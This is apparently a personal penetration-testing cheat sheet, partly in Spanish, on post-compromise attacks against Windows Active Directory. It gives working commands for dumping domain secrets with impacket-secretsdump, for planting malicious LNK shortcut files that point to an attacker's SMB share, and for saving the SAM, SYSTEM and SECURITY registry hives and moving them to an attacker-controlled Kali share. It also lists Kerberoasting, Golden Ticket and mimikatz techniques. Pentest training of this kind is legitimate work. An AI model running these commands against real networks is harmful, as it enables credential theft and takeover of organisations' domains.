Windows Active Directory Pentesting

Post compromise attacks

• kali impacket - secrets dump
  • impacket-secretsdump DC.LOCAL/USER:'PASSWORD'@$IP
  • running secretsdump as local:
    • impacket-secrestsdump -sam sam.save -security security.save -system system.save LOCAL
• Kerberoasting
• ASREPRoasting
  • más material
  • Cuando comprometemos una cuenta, un ataque para empezar es este.
• Token impersonation attack
  • psexec
  • mimikatz
  • pypykatz
  • Golden Ticket Attack
    • Extra sids Attack
  • AddKeyCredentialLink/Shadow Credentials Attack
  • Backup Operator to Domain Admin
  • DPAPI Attack
• LNK File Attacks: nxc smb 172.16.139.0/24 -u 'pthorpe' -p creds.txt -M slinky -o SERVER=172.16.139.10 NAME=urgent
  • Código:

    $objShell = New-Object -ComObject WScript.shell
    $lnk = $objShell.CreateShortcut("C:\test.lnk")
    $lnk.TargetPath = "\\192.168.138.149\@test.png"
    $lnk.WindowStyle = 1
    $lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
    $lnk.Description = "Test"
    $lnk.HotKey = "Ctrl+Alt+T"
    $lnk.Save()
  

  • smbserver.py -smb2support "icon" .

Post compromise attack strategy

• 1st
  • kerberoasting
  • ASREPRoasting
  • secretsdump
  • pass the hash
• 2nd: big deep
  • enum bloodhound
  • old vulns

An other post compromise attack strategy

Attacking SAM

• Security Account Manager

  Copying SAM Registry Hives

• hklm\sam
• hklm\system
• hklm\security
• We can create backups of these hives using the reg.exe utility.

Using reg.exe save to copy registry hives.

 C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save

The operation completed successfully.

C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save

The operation completed successfully.

C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save

The operation completed successfully.

Creating a Share with impacket-smbserver

impacket-smbserver -smb2support shareName someDir

Moving hive copies to share

C:\> move sam.save \\YOUR_KALI_IP\CompData
        1 file(s) moved.

C:\> move security.save \\YOUR_KALI_IP\CompData
        1 file(s) moved.

C:\> move system.save \\YOUR_KALI_IP\CompData
        1 file(s) moved.